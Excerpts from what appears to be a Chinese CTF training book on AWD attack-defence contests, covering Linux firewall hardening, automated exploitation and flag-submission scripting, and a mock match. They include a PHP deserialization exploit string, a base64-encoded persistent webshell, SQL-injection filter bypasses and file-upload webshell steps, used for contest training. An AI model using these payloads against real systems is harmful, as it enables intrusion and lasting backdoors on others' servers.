    {"text": "图7-34 查看定时任务 7 . 2 . 2 安 全 防 御 策 略 当主机面临攻击者入侵时，如不能快速定位和修复相应的安全问题，又不能将系统及时下线排查，除了可以设置网络出口防火墙的安全策略外，Linux系统自身也拥有很多的安全防御方式，比如firewalld、iptables、hosts.allow/hosts.deny等。 通过添加相应的安全策略阻断对外提供的服务或者将攻击者IP进行封禁来阻断攻击者的访问权限，可以起到临时的安全防护作用。"},
    {"text": "1 . f i r e w a l l d firewalld工作在网络层，通常用来定义防火墙的各种规则功能，因此又被称为Linux防火墙的“用户态”。 firewalld提供了网络/防火墙区域（zone）定义网络连接以及接口安全等级配置，支持IPv4、IPv6防火墙设置以及以太网桥接，还可以根据服务和应用程序直接添加到防火墙规则列表。 firewalld为了简化管理流程，将所有网络流量默认分为9个区域，然后根据数据包的源IP地址或网络接口等条件将网络流量传入相应区域，每个区域都定义了打开或关闭的端口和服务列表，根据区域设置的规则决定是否允许网络流量正常传入或传出。"},
    {"text": "●public：公共区域，除非与传出流量相关，或与SSH或dhcpv6-client预定义服务匹配，否则拒绝流量传入。 ●external：外部区域，除非与传出流量相关，或与SSH预定义服务匹配，否则拒绝流量传入。 ●home：家庭区域，除非与传出流量相关，或与SSH、ipp-client、mdns、samba-client、dhcpv6-client预定义服务匹配，否则拒绝流量传入。 ●internal：内部区域，除非与传出流量相关，或与SSH、ipp-client、mdns、samba-client、dhcpv6-client预定义服务匹配，否则拒绝流量传入。 ●work：工作区域，除非与传出流量相关，或与SSH、ipp-client、dhcpv6-client预定义服务匹配，否则拒绝流量传入。 ●dmz：隔离区域，也称为非军事区域，除非和传出的流量相关，或与SSH预定义服务匹配，否则拒绝流量传入。 ●block：限制区域，拒绝所有传入流量，只有传出网络流量。"},
    {"text": "firewalld提供了3种防火墙策略配置方式，分别为firewalld-config图形化工具、firewalld-cmd命令行工具和/etc/firewalld/配置文件，并且拥有两种配置模式：运行模式（Runtime）和永久模式（Permanent）。"},
    {"text": "运行模式能够实时生效，不会出现服务中断的情况，但当系统每次重启后都会导致之前的配置丢失。 永久模式需要重新加载或重启firewalld服务，因此会造成短时间的服务中断情况，当系统重启后不会导致配置的丢失。"},
    {"text": "表7-1 firewalld-cmd常用参数 在日常运维或安全竞赛中，如果发现某个服务正在被攻击者攻击，当前服务又不能及时下线处置的情况下，可以利用主机上的firewalld对攻击源进行临时屏蔽，然后再对该服务的安全问题进行修复或攻击源溯源反制等。 如图7-35所示，通过firewalld设置拒绝IP地址为192.168.146.130的主机访问本机上的服务，其他IP地址则可以正常访问3306端口和80端口的服务。 图7-35 firewalld拒绝IP地址为192.168.146.130的主机访问 当Web服务和数据库在同一台主机上部署时，通常都需要关闭数据库对外开放的权限，以免引发相关安全问题。 如图7-36所示，通过firewalld关闭了3306端口对外开放的权限，此时任何外部地址的主机都不能访问该主机的3306端口服务了。 图7-36 firewalld拒绝其他主机访问3306端口 当Web服务和数据库在不同的主机上部署时，如192.168.146.129主机上部署了Web服务，需要实时调用当前主机的MySQL数据，此时可以通过firewalld设置允许IP地址为192.168.146.129的主机访问当前主机的3306端口服务，此时其他IP地址的主机是不能够访问该主机的3306端口服务的，设置过程如图7-37所示。 图7-37 firewalld只允许IP地址为192.168.146.129的主机访问 2 . n e t f i l t e r / i p t a b l e s Linux防火墙由netfilter和iptables两部分组成。"},
    {"text": "netfilter属于“内核态”，位于内核空间，由一些数据包过滤表组成，这些过滤表包含处理数据包的规则集，提供数据包的过滤、转发、地址转换等功能。 iptables属于“用户态”，是内核netfilter的管理工具，通过执行命令行设定相应的规则内容。 netfilter和iptables相互协作，实现了Linux防火墙功能的正常运转。"},
    {"text": "当我们要对一个服务请求访问时，需要向该服务器发送请求报文，请求报文要与防火墙设置的各种规则进行匹配和判断，最后执行相应的动作（放行或者拒绝）。"},
    {"text": "防火墙对不同来源的数据包设置了多种策略，多个策略形成一个链。 在Linux防火墙中默认有5种不同的链，分别为INPUT、OUTPUT、FORWARD、PREROUTING、POSTROUTING。"},
    {"text": "表7-2 iptables链功能 在一个链中会有很多的防火墙规则，我们将具有同一种类型的规则组成一个集合，这个集合就叫做表，表可以简单地列成一些具有同样类型的规则的分组，例如关于IP地址转换的策略都放在一个表中，修改数据包报文的策略都放在一个表中等。"},
    {"text": "表7-3 iptables表功能 正是由于iptables的链和表的存在，其配置变得相对简单，安全运维人员可以使用iptables为服务器配置IP白名单，为内网的主机配置DNAT/SNAT服务，常见的访问控制类产品、跳板机等也是在iptables，基础上进行配置的。"},
    {"text": "执行过程如图7-38所示，通过iptables命令设置拒绝IP地址为192.168.146.130的主机访问本机上的服务，其他IP地址则可以正常访问3306端口和80端口的服务。 图7-38 iptables拒绝IP地址为192.168.146.130的主机访问 当Web服务和数据库在同一台主机上部署时，我们使用iptables命令关闭当前主机对外开放的3306端口。 如图7-39所示，通过iptables命令关闭了3306端口对外开放的权限，此时任何外部地址的主机都不能访问该主机的3306端口服务了。 图7-39 iptables拒绝其他主机访问3306端口 当Web服务和数据库在不同的主机上部署时，如192.168.146.129主机上部署了Web服务，需要实时调用当前主机的MySQL数据，此时可以通过iptables设置仅允许IP地址为192.168.146.129的主机访问当前主机的3306端口服务，此时其他IP地址的主机是不能够访问该主机的3306端口服务的，设置过程如图7-40所示。 图7-40 iptables只允许IP地址为192.168.146.129的主机访问3306端口 3 . h o s t s . a l l o w / h o s t s . d e n y 除了上面介绍的使用firewalld和iptables为主机添加安全策略，利用xinetd程序启动的网络服务，比如SSH、FTP、Telnet等，也可以通过修改/etc/hosts.allow和/etc/hosts.deny的配置，允许或拒绝某些IP地址的访问。 /etc/hosts.allow和/etc/hosts.deny的配置是实时生效的，当想要连接到远程主机时，Linux首先检查/etc/hosts.allow配置文件是否允许该IP地址连接，如果允许则直接放行，如果没有，则会再次检查/etc/hosts.deny中是否禁止该IP地址连接。 如果只允许某个特定的IP地址通过SSH服务远程连接到主机，可以在hosts.deny文件中添加\"sshd:ALL\"，阻止所有远程主机访问，在hosts.allow文件中增加允许远程主机访问的IP地址列表，如sshd:172.16.213.12，这样就只允许IP地址为172.16.213.12的主机进行SSH服务连接了。 如图7-41所示，当其他IP地址通过SSH远程连接192.168.5.160主机时，会提示Connection reset by peer，导致连接失败。 如图7-42所示，IP地址为172.16.213.12的主机通过SSH服务远程连接到192.168.5.160时，连接成功。"},
    {"text": "第8章 构建自动化攻防系统 第 8 章 构 建 自 动 化 攻 防 系 统 在AWD竞赛中，主办方会提供相应的flag提交接口，如果纯手动攻击、一个一个队伍尝试的话，攻击速度太慢。在有限的单轮时间内，攻击效率尤为重要。竞赛每轮时间较短且队伍数量较多，实现自动化漏洞利用和flag提交是非常有必要的。本章通过编写漏洞利用、木马植入、flag提交三个场景的自动化脚本来讲解Python语言脚本的基础编写方式，同时也介绍一些开源的自动化利用工具，帮助新手在比赛中能简便、快速地编写出自动化脚本。"},
    {"text": "8.1 自动化漏洞利用与木马植入 8 . 1 自 动 化 漏 洞 利 用 与 木 马 植 入 本节主要介绍如何通过便捷的方式编写自动化漏洞利用脚本和批量木马植入脚本，主要面向AWD入门选手，同时也会以代码清单的方式展示脚本供读者参考。 8 . 1 . 1 漏 洞 批 量 利 用 在AWD竞赛中，通常使用Python语言来编写自动化利用脚本，每个人的习惯不同，编写方式也不同，这里笔者介绍一个通用且快速的编写方式：利用BurpSuite的Copy As Python-Requests插件进行Python自动化利用脚本编写。"},
    {"text": "图8-1 安装Copy As Python-Requests插件 简要分析一下反序列化漏洞，我们的目标是执行命令获取flag，那么需要执行的函数是eval()，eval()函数在魔法函数__toString()中，要触发__toString()，需要PHP对象被当作一个字符串输出或使用，如echo。"},
    {"text": "那么利用链就比较清楚了：Demo Object（[word]=> rce Object（[cmd]=> system（'cat/flag'）;）），EXP构造代码如下： 生成的EXP如下： Tzo0OiJEZW1vIjoxOntzOjQ6IndvcmQiO086MzoicmNlIjoxOntzOjM6ImNtZCI7czoy MDoic3lzdGVtKCdjYXQgL2ZsYWcnKTsiO319 利用效果如图8-2所示，可以成功执行命令获取靶机flag。"},
    {"text": "图8-2 反序列化漏洞利用 假设目标靶机有20个，地址范围是10.10.1.1～10.10.1.20，一个一个利用来获取20个靶机flag太费时间，这时就需要自动化利用脚本。"},
    {"text": "以Python 3环境为例，我们已经安装了Copy As Python-Requests插件，在Repeater模块中右击弹出菜单，选择Copy as requests，如图8-3所示。 图8-3 Copy As Python-Requests插件的使用 然后新建一个Python脚本文件，粘贴即可得到Python请求代码，如图8-4所示。"},
    {"text": "要输出响应信息，我们将最后一段代码改为print(requests.get(burp0_url，headers=burp0_headers).text)，执行即可看到响应信息，如图8-5所示。"},
    {"text": "图8-5 执行漏洞利用获取flag 目标靶机有20台，批量执行需要对脚本进行完善修改：首先加入一个for循环来遍历IP地址，i的范围是1～20，然后将burp0_url中的IP进行分割拼接上i，得到如下代码，这样漏洞利用就会循环执行20次获取不同靶机并输出flag。"},
    {"text": "但此时会遇到一些问题，当遍历的目标靶机中有一台访问不可达时，脚本就会直接卡住，我们需要在requests.get方法中添加一个超时参数timeout，如requests.get(burp0_url，headers=burp0_headers，timeout=0.5)，代表超时时间是0.5s。"},
    {"text": "添加并执行后会发现，只要碰到超时的情况，脚本会直接报错中断。 为了不中断脚本，跳过访问不可达的靶机，我们再对代码添加异常处理，完善修改完的脚本 如下。"},
    {"text": "不死马代码如下： 植入上述不死马，我们将执行系统命令的system()函数替换成file_put_contents()函数，为了防止出现传参时的特殊符号编码转换问题，将不死马代码进行base64编码，得到：PD9waHAKCXNldF90aW1lX2xpbWl0KDApOwoJaWdub3JlX3VzZXJfYWJvcnQoMSk 7Cgl1bmxpbmsoX19GSUxFX18pOwoJd2hpbGUoMSl7CgkJZmlsZV9wdXRfY29udGVudHM oIi50ZXN0LnBocCIsJzw/cGhwIGV2YWwoJF9QT1NUWyJhIl0pOz8+Jyk7CgkJdXNsZWVw KDEwMDApOwoJfQo/Pg==。 最终漏洞利用构造代码如下： 运行生成的EXP如下： Tzo0OiJEZW1vIjoxOntzOjQ6IndvcmQiO086MzoicmNlIjoxOntzOjM6ImNtZCI7czoyNz A6ImZpbGVfcHV0X2NvbnRlbnRzKCIubm9kaWUucGhwIixiYXNlNjRfZGVjb2RlKCJQRD l3YUhBS0NYTmxkRjkwYVcxbFgyeHBiV2wwS0RBcE93b0phV2R1YjNKbFgzVnpaWEpm WVdKdmNuUW9NU2s3Q2dsMWJteHBibXNvWDE5R1NVeEZYMThwT3dvSmQyaHBiR1V vTVNsN0Nna0pabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9JaTUwWlhOMExuQm9jQ0lz Snp3L2NHaHdJR1YyWVd3b0pGOVFUMU5VV3lKaElsMHBPejgrSnlrN0Nna0pkWE5zWld Wd0tERXdNREFwT3dvSmZRby9QZz09IikpOyI7fX0= 执行可以发现已成功植入不死马.nodie.php，如图8-6所示。"},
    {"text": "图8-6 利用反序列化漏洞植入不死马 按照8.1.1节编写自动化利用脚本的方法，可以得到如下的利用脚本。 利用上述脚本可以对20个靶机进行批量不死马植入，但这只是写入并没有激活，还需要在循环中添加一段Python请求来激活不死马，最终利用反序列化漏洞植入并激活不死马的利用脚本如下所示。"},
    {"text": "这里burp1_url是不死马植入地址，burp2_url是激活不死马产生的小马.test.php的地址，并加入了回显来判断是否对目标植入成功，效果如图8-7所示。"},
    {"text": "8.2 自动化flag提交 8 . 2 自 动 化 f l a g 提 交 在AWD竞赛中，flag提交是非常烦琐的一环。 本节详细讲解如何编写flag自动提交脚本，选手只需每轮执行一次即可，同样脚本会通过代码清单形式展示，方便读者参考使用。"},
    {"text": "8 . 2 . 1 利 用 B u r p S u i t e 自 动 提 交 f l a g BurpSuite的Intruder模块相信大家非常熟悉，它是一个高度可配置的自动化攻击模块，常常用来在Web渗透时爆破用户名密码、枚举标识符、模糊测试或者当作简单爬虫来使用。"},
    {"text": "图8-8 f lag提交接口示例 flag提交成功后会返回Success，我们先正常提交一个flag并用BurpSuite抓包，将数据包发送到Intruder模块，如图8-9所示，在Positions选项中，攻击类型选择“狙击手（Sniper）”模式，通过§符号选中需要替换的flag字符串部分。"},
    {"text": "图8-9 Intruder模块选定载荷位置 然后单击Payloads选项，如图8-10所示，在“有效载荷集”中选择有效载荷类型为“运行时文件”，在“有效载荷选项”中选择要提交的flag文件。 图8-10 Intruder模块选定有效载荷文件 开始攻击后，自动攻击模块会将flag文件按每行读取提交，如图8-11所示。"},
    {"text": "图8-11 Intruder模块自动化提交flag 此方法虽然不用特意编写脚本，但每个回合都要按部就班执行一次，速度远不及编写好的自动化提交脚本，通常在攻击机是赛方提供的远程机器或者攻击机脚本环境出错时应急使用。"},
    {"text": "注 意 ： 在使用Intruder模块自动化提交时要注意BurpSuite版本，笔者在使用BurpSuite社区版时发现Intruder模块里的线程数是被定死的，自动化攻击速度很慢，严重影响flag提交效率。"},
    {"text": "8 . 2 . 2 利 用 B u r p S u i t e 插 件 编 写 自 动 提 交 脚 本 利用BurpSuite的Copy As Python-Requests插件可以实现将flag提交的Requests复制成Python代码，经过简单调整代码中flag的输入即可自动执行提交。 首先在BurpSuite的Intercept模块或Repeater模块中将提交flag的Requests进行右击，选择Copy as requests，如图8-12所示，复制出的代码如下，下面我们将以Python 3环境为例来说明。 图8-12 将Requests复制为Python代码 将代码requests.post（burp0_url，headers=burp0_headers，cookies=burp0_cookies，data=burp0_data）修改为res=requests.post（burp0_url，headers=burp0_headers，cookies=burp0_cookies，data=burp0_data），然后末尾加入print（res.text）执行，可以发现flag已被成功提交并输出响应信息，如图8-13所示。 图8-13 Python代码执行flag提交请求 基本的提交请求已经写好了，剩下的就是修改burp_data里的flag值，假定我们的flag在本地txt文件中，要怎么修改代码呢？ 我们可以使用open函数来打开本地文件，然后利用for循环按行读取文件的每一行数据作为flag提交，例如： 上述代码其实是有一点问题的，当使用open函数按行读取文件内容时，会带有换行符或空格，直接作为值提交会提示flag错误，如图8-14所示。 所以，我们要删除换行符及可能存在的空格，由于flag值的长度是固定的，我们可以直接根据flag长度进行截断，例如flag{cd29b485630b9f51}的长度是22位，直接在f.readline()后面加一个[:22]来截取固定的flag长度值，这样即使后面有空格或换行符也不会影响。 图8-14 flag提交失败 最终提交脚本的Python代码如下，其中flag.txt是本地保存的flag文件，运行效果如图8-15所示。"},
    {"text": "图8-15 运行效果 8 . 2 . 3 漏 洞 利 用 结 合 自 动 提 交 在竞赛中，选手通常会将flag获取与提交写在同一个脚本下，这样每轮只需执行一次脚本即可，大大减少漏洞利用和提交flag的时间，可以分出更多的精力来审计和修补漏洞。"},
    {"text": "以8.1.2节中不死马生成的小马.test.php为例，假定靶机范围是10.10.1.1～10.10.1.20，靶机50080端口存在Web服务，不死小马的代码是<?php eval($_POST[\"a\"]);?>。"},
    {"text": "图8-16 不死小马利用获取flag 使用BurpSuite的Copy As Python-Requests插件复制Payload，并根据8.1.1节的方式修改得到如下的自动化利用代码，其中flag=res[:22]是为了提取固定长度的flag值，防止返回信息包含空格、换行符等特殊字符，影响flag的准确性，比赛时可以按需修改flag值的长度。"},
    {"text": "这样每台靶机的flag就获取到了，接下来我们把提交flag的代码融合到里面，提交flag的代码与8.2.2节所述类似，将flag提交接口URL填入并构造好POST提交的数据，最后输出提交返回信息即可，最终自动化脚本如下，使用效果如图8-17所示。"},
    {"text": "图8-17 漏洞利用获取flag并自动提交 上面介绍的编写方式主要面向接触AWD竞赛不久的入门选手，熟悉开发的读者可以自己开发一套平台框架，将漏洞利用、权限维持、Shell管理、flag提交等功能集成在一起，在比赛中就可以事半功倍。"},
    {"text": "8.3 开源自动化利用工具 8 . 3 开 源 自 动 化 利 用 工 具 能够进行批量漏洞利用甚至专门为AWD竞赛编写的自动化利用框架工具有很多，本节主要介绍比较适合新手使用的两款自动化利用工具，分别是Pocsuite3和AWD-Predator-Framework。 8 . 3 . 1 P o c s u i t e 3 Pocsuite3是由知道创宇实验室打造的一款开源的远程漏洞测试框架，采用Python 3编写，支持Windows、Linux、Mac OSX等系统，在原有Pocsuite的基础上进行了整体的重写与升级，使整个框架更具有操作性和灵活性。Pocsuite 3支持attack、verify、shell三种插件模式，可以指定单个目标或者从文件导入多个目标，使用单个POC或POC集合进行漏洞的验证或利用。 1 . 安 装 方 法 1）直接使用pip3进行安装。 2）下载提取最新的源码包。 安装完成执行pocsuite或者进入目录执行python3 cli.py，输出如图8-18所示的内容即为安装成功。 图8-18 Pocsuite3运行页面 2 . P o c s u i t e 3 使 用 简 介 Pocsuite3有3种运行方法：命令行、交互控制台、集成调用。其中，交互控制台类似于Metasploit，使用poc-console命令进入，如图8-19所示。 常见的命令行参数如下。 ●-u：指定单个URL或CIDR，支持IPv4 / IPv6。使用-p参数可以提供额外的端口，配合CIDR可以很方便地探测一个目标网段。 ●-f：指定一个文件，将多个URL/CIDR存到文件中，每行一个。 ●-r：支持指定一个或多个POC路径（或目录），如果提供的是目录，框架将遍历目录，然后加载所有符合条件的POC，用户可以用-k选项指定关键词对POC进行筛选，如组件名称、CVE编号等。 ●-o：将运行结果保存为JSON Lines格式的文件。 Pocsuite3更多的使用方法可自行学习，下面重点来讲解POC如何编写。 图8-19 Pocsuite3交互控制台示例 3 . P O C 编 写 方 法 Pocsuite3可以通过-n或--new参数自动生成POC模板，如图8-20所示。 图8-20 Pocsuite3生成POC模板 生成的POC模板代码如下： 在以上POC模板的基础上，结合漏洞细节，只需要重写_exploit()方法。以8.1.1节中的PHP反序列化漏洞为例，因为POC里的Payload需要借助PHP语言生成，所以我们将exp1.php修改为如下代码，当GET请求携带cmd参数时即可生成对应的EXP，效果如图8-21所示。 图8-21 反序列化漏洞EXP生成演示 然后改写POC中的_exploit()方法，代码如下。这里的Payload需要通过GET方式访问exp1.php页面来获取相应EXP，exp_url是反序列化漏洞EXP生成页面。 重写_exploit()方法后，我们使用验证模式进行测试，语句为pocsuite-r 20221023_php_unserialize.py-u http://127.0.0.1:50080/awd/demo1.php，效果如图8-22所示。 验证模式通过，使用attack模式，需要通过--cmd参数来指定命令，语句为pocsuite-r 20221023_php_unserialize.py-u http://127.0.0.1:50080/awd/demo1.php--attack--cmd 'cat/flag'，效果如图8-23所示，可以看到成功执行命令并获取靶机flag。 ▲图8-22 Pocsuite3验证模式测试 图8-23 Pocsuite3 attack模式利用 8 . 3 . 2 A W D - P r e d a t o r - F r a m e w o r k AWD-Predator-Framework是GitHub平台上评分较高的一款开源AWD竞赛批量利用框架，使用Python 2编写，其主要功能是通过给定的WebShell批量获取并提交flag，也支持木马上传等功能，界面如图8-24所示。 图8-24 AWD-Predator-Framework运行页面 WebShell的添加方法为：add [shell path][pwd][type(eval/exec)][method(get/post)]。以6.1.1节中不死马生成的小马.test.php为例，添加语句为add :50080/awd/.test.php a eval post，如图8-25所示。 图8-25 指定IP及WebShell getflag功能需要添加获取命令，如果获取命令不需要修改，只需完整输入一次之后直接执行getflag即可，语句为getflag cat /flag，然后showflag即可看到获取得到的靶机flag，如图8-26所示。 图8-26 getflag功能获取flag 第9章 AWD竞赛模拟演练 第 9 章 A W D 竞 赛 模 拟 演 练 经过前面的学习，相信大家已经完全掌握了AWD竞赛的相关知识。本章将带领大家完成整套系统化的AWD竞赛攻防练习。 9.1 场景描述 9 . 1 场 景 描 述 小明带队参加了国内某知名AWD竞赛，在竞赛开始前30分钟，举办方对此次竞赛公布的说明如下： 1）每支参赛队伍最多由3名成员组成，竞赛开始时每支队伍拥有5000基础分数。 2）每支参赛队伍需要维护一台靶机服务器，服务器存在多处安全问题，参赛队伍可对其他队伍的靶机服务器发起网络攻击，获取举办方放置的flag获取相应积分，被攻击队伍会丢失相应积分。 3）每台靶机中内置的flag，每20分钟更新一次，攻击者再次提交更新后的flag获取相应分数。 4）平台会实时对靶机的服务状态进行监控，以防止选手的违规作弊行为，如有发现靶机服务异常（关闭Web服务、安装Waf、DDoS攻击等），将视情况扣除参赛队伍的分数。 5）为便于参赛选手远程维护靶机服务，服务器已开启SSH服务，登录用户名为ctf，密码为ctf_awd_12345（后5位为0～9随机组成的5位数字）。"},
    {"text": "9.2 风险排查和安全加固 9 . 2 风 险 排 查 和 安 全 加 固 根据竞赛说明可以清楚地了解到靶机服务器存在多处漏洞，需要及时进行修复，否则会存在被攻击丢分的可能。"},
    {"text": "图9-1 更改用户ctf的登录口令 通过浏览服务器目录可以发现，Web源码位于根目录的app文件夹中，为防止修复漏洞时操作不当或者被其他队伍攻击时源码丢失等情况的发生，可以对靶机服务的源码和数据库进行备份，执行过程如图9-2所示，并将源码和数据库备份文件保存到本地。 图9-2 网站源码和数据库备份 使用D盾扫描工具查看源码中是否存在后门，单击扫描全部网站的右侧箭头，选择“自定义扫描”，扫描打包好的Web源码，如图9-3所示，可以发现一个可疑变量函数和一个phpinfo()函数。 图9-3 D盾扫描后门文件 根据D盾扫描结果，找到存在可疑变量函数的config.php文件，发现该处存在extract()变量覆盖漏洞，源代码如下： 变量覆盖漏洞是指通过用户自定义的参数值替换程序原有变量值，常见的引发变量覆盖的函数有extract()、parse_str()和import_request_variables()。"},
    {"text": "在如下代码中，当用户输入config.php?d=assert时，变量d的值就变成了assert，assert函数会将函数内的字符串作为PHP语言执行，与eval函数非常相似，不同的是eval函数中的字符串必须为符合PHP语言规范的代码，否则会执行出错。"},
    {"text": "图9-4 extract函数变量覆盖漏洞 通过以上分析确定config.php为Web后门文件，由于该后门功能单一，不存在Web业务功能部分，可以选择删除该后门文件，删除后也不会影响靶机服务器正常运行。 通过D盾扫描结果提示存在phpinfo页面，可以删除phpinfo信息展示页面，以防止信息泄露。"},
    {"text": "根据竞赛举办方说明，我们了解到靶机We b服务存在多处的安全问题，接下来使用Seay代码审计工具对Web源码进自动化审计，单击“新建项目”找到Web源码，再单击“自动审计”。"},
    {"text": "通过MySQL语句查询该网站管理员admin的登录口令为MD5加密，通过在线MD5（https://www.cmd5.com/）破解出管理后台的登录密码为admin，执行过程如图9-6所示。 图9-6 利用MySQL数据库查询管理员的登录口令 根据获取到的账号密码admin/admin登录系统后台，选择“会员管理员”→“管理员管理”选项，修改管理员的登录密码，以防止其他队伍使用管理员的弱口令进行登录，如图9-7所示。 图9-7 修改管理员的登录密码 接下来审计Web源代码，判断登录窗口是否存在SQL注入漏洞。 通常情况下，登录窗口的SQL注入会导致万能密码登录管理员后台、数据库信息泄露等安全问题，进而使攻击者成功登录到管理系统的后台。 如下所示为login.php中验证管理员登录的一部分代码，用户通过post请求方式提交user、password、code参数，fl_value函数对user、password参数进行了一层过滤，最终将用户输入的账号和密码传入check_login()函数，判断输入的账号和密码是否正确。"},
    {"text": "对于敏感字符串的替换，我们可以通过双写进行绕过，需要注意的是，在过滤的字符串中部分字符串包含了空格，在双写绕过时也需要加上空格才能替换成功，例如select的双写可以写成\"seleselectct\"，union的双写可以写成\"uni union on\"等。"},
    {"text": "check_login()函数用于查询数据库中是否存在用户输入的用户名信息，代码如下所示，如果不存在，会提“不存在该管理用户”，如果存在，则会进一步判断用户输入的口令是否正确，如果不正确，会提示“输入的密码不正确”，如果正确，则会成功登录系统后台。"},
    {"text": "浏览器访问管理系统的登录界面，输入admin/admin123并登录，利用BurpSuite拦截浏览器发送的数据包，更改data字段为“user=admin1' or 0--+”，即使用了or逻辑表达式，当两者同为假时，命题为假，如图9-8所示，查看Response信息，显示为“不存在该管理用户”。 图9-8 模糊测试SQL注入 更改data字段为“user=admin1' or 1--+”，如图9-9所示，查看Response信息，显示为“输入的密码不正确”，也就是此时用户名代码判断为真了，即or表达式中有一个表达式为真时命题为真，故此时可以判定该处存在SQL注入漏洞。 图9-9 模糊测试SQL注入 通过上述的代码审计，我们可以通过双写字符串绕过fl_value()函数的过滤，union的双写写成\"uni union on\"，select的双写写成\"seleselectct\"，只要保证select查询的第3位为用户输入密码的md5值，就能成功登录系统后台，也就是之前所说的SQL注入导致的万能密钥登录。 此处还应注意的是，select查询的第5位一定要设置为0，否则系统会提示“该账号已经被锁定，无法登录”，执行过程如图9-10所示。"},
    {"text": "图9-10 SQL注入万能密钥登录系统后台 通过执行phpinfo()函数，发现靶标服务安装了PDO（PHP数据对象）扩展功能。 PDO是一个轻量级的、具有兼容接口的PHP数据连接拓展，在执行代码阶段将预处理SQL语句模板和参数分别发送到数据库服务器进行解析，用户端输入的参数被数据库服务器当作普通字符串，因此我们可以使用PDO预处理的方式来修复SQL注入问题。"},
    {"text": "首先，在prepare()函数调用时，PDO将预处理好的SQL模板（包含占位符）通过数据库协议传递给数据库服务器，用于传达数据库服务器模板的结构以及语义。"},
    {"text": "正是由于PDO将预处理的SQL模板和用户输入的参数变量分两次传递给数据库服务器，因此可在一定程度上解决SQL注入问题，SQL注入修复代码如下。"},
    {"text": "根据Seay自动化审计结果可知，在admin.php处存在用户侧可控参数的本地文件包含漏洞，用户可以通过GET请求向file传递可控参数，利用文件包含漏洞便可以进行任意文件读取、解析非PHP类型文件等，admin.php文件包含漏洞源码如下。 在成功登录Web管理系统之后，我们就具备了访问admin.php的权限，此时可以通过本地文件包含漏洞获取flag文件的内容，执行过程如图9-11所示。 在实际开发工作中，可以通过修改源代码、指定文件包含的具体路径、杜绝用户侧的可控输入等方式，修复本地文件包含漏洞。 在安全攻防竞赛中，对于不具备网站功能的文件包含，也可以通过手工删除文件包含漏洞的代码部分，达到修复文件包含漏洞的目的。"},
    {"text": "upload.php为管理员上传图片的功能点，由于该处只存在文件类型的校验，缺少对上传文件后缀的校验功能，因此，用户可以利用BurpSuite拦截数据包，修改Content-Type字段内容为image/jpeg，绕过MIME验证上传一句话木马文件，执行过程如图9-12所示。 图9-12 上传一句话木马文件 对于文件上传漏洞，我们可以对上传的文件后缀进行过滤，此处应用白名单过滤的方式，只允许上传的文件后缀为jpg、png、gif，否则会提示“只能上传jpg|png|gif格式图片！"},
    {"text": "9.3 漏洞利用和自动化工具 9 . 3 漏 洞 利 用 和 自 动 化 工 具 靶机的主要漏洞已经都找到了，作为攻击队员，下面我们要介绍自动化利用脚本扩大比分优势以及维持靶机权限，防止对手将漏洞修补后，后续回合无法继续拿分。这里我们是1号队伍（team1），竞争对手有9支队伍，所有队伍靶机IP一致，端口8801～8810代表1～10号队伍。 在比赛前期，首要选择变量覆盖漏洞作为第一波刷分手段，无须登录权限且脚本编写步骤相对简单。利用安装了Copy As Python-Requests插件的BurpSuite，将变量覆盖漏洞利用请求包复制为Python代码，如图9-14所示，复制结果如图9-15所示。 ▲图9-14 将变量覆盖漏洞利用请求复制为Python代码 图9-15 将变量覆盖漏洞利用关键实现代码 对上述代码进行改造，目标靶机IP固定，端口范围是8802～8810，在代码段添加for循环遍历靶机地址。因为返回的text不是纯粹的flag值，带有hello world字符串，需要对返回值进行截断获取flag，改造后的代码如下。 运行效果如图9-16所示，可以看到已成功获取2～10队的靶机flag。 图9-16 批量利用变量覆盖漏洞获取flag 取得flag后，下面需要再批量提交flag拿分，已知flag提交接口是8080端口的flag_file.php页面，通过GET方式传入队伍token和flag值提交，提交示例如图9-17所示。 图9-17 flag提交接口 对上述代码再进行改造，在循环中添加一个flag提交接口，将flag变量和队伍token填入，通过requests.get方式提交，改造后的代码如下。 运行效果如图9-18所示，可以看到成功提交每台靶机flag并返回提示信息。 图9-18 自动化漏洞利用及flag提交脚本执行 接下来，我们继续对后台漏洞撰写自动化利用脚本。因为后台相关漏洞需要admin登录权限，所以脚本需要requests的session()模块。在竞赛中，对手很有可能会修改admin登录密码，所以我们就使用SQL注入万能密码来对所有靶机进行登录。这里以登录管理后台并利用后台文件包含漏洞获取flag为例，首先选择一台靶机，利用BurpSuite抓取登录包，并用Copy As Python-Requests插件复制成代码，注意这里要选择Copy as requests with session object，如图9-19所示。 复制得到如图9-20所示的代码，登录成功后，利用/admin/admin.php?file=/flag来包含flag文件，这里使用session.get()来执行登录后的GET访问请求，然后再添加相关遍历和flag提交操作，得到如下自动化利用代码。 图9-19 利用插件将登录请求复制为python代码 利用效果如图9-21所示，可以看到成功登录后台并利用文件包含漏洞提交flag。 ▲图9-20 登录请求Python代码 图9-21 批量登录后台并成功利用文件包含漏洞 最后就是权限维持了，我们利用后台文件上传漏洞上传不死马，然后激活产生不死小马，后续回合只需要请求小马执行命令获取flag即可。 首先利用BurpSuite的插件复制文件上传请求包，如图9-22所示。 图9-22 文件上传请求包复制为Python代码 复制的代码中需要burp0_headers和burp0_data的值，然后基于SQL注入万能密码登录的代码进行改造，将文件上传和不死马激活的访问请求添加到代码中，注意文件上传返回页面中包含生成的文件名，需要利用正则匹配将文件名提取出来，最终批量植入不死马并激活的代码如下所示，关键代码已加注释说明。 执行效果如图9-23所示，可以看到各队的靶机不死马均植入成功，尝试使用一台靶机的不死小马获取flag成功，如图9-24所示。 ▲图9-23 批量植入不死马并激活 图9-24 利用不死马生成的小马获取flag 不死马激活后，利用下面代码即可批量利用不死马来获取flag并提交拿分，效果如图9-25所示，完成上述这些步骤后，只需要每轮执行即可。 图9-25 批量利用不死马生成的小马获取flag并提交"},
    {"text": "在实战场景中，首先我们通过SSH登录到自己的Web服务器，寻找到Web源码目录，一般在/var/www/html下。 若未发现Web目录，可尝试使用命令find /-name '*.php'查找Web安装目录，在此环境中靶场路径为/app。"},
    {"text": "这里我们进入/var/log/apapche2/log文件，发现攻击者构造的访问为xxxx/app/includes/ddd.php?d=assert，结合代码审计，可推出攻击者构造的POC为c=system('catflag')。"},
    {"text": "但原版的安装较为复杂，所以这里推荐安装docker版本（https://github.com/slug01sh/AoiAWD），免去了复杂的依赖库选项，一键安装，简单轻松。"},
    {"text": "在使用AoiAWD时，需要赋予tapeworm.phar可执行权限，命令如下： 例如./tapeworm.phar-d /var/www/html/-s 127.0.0.1:8023。"},
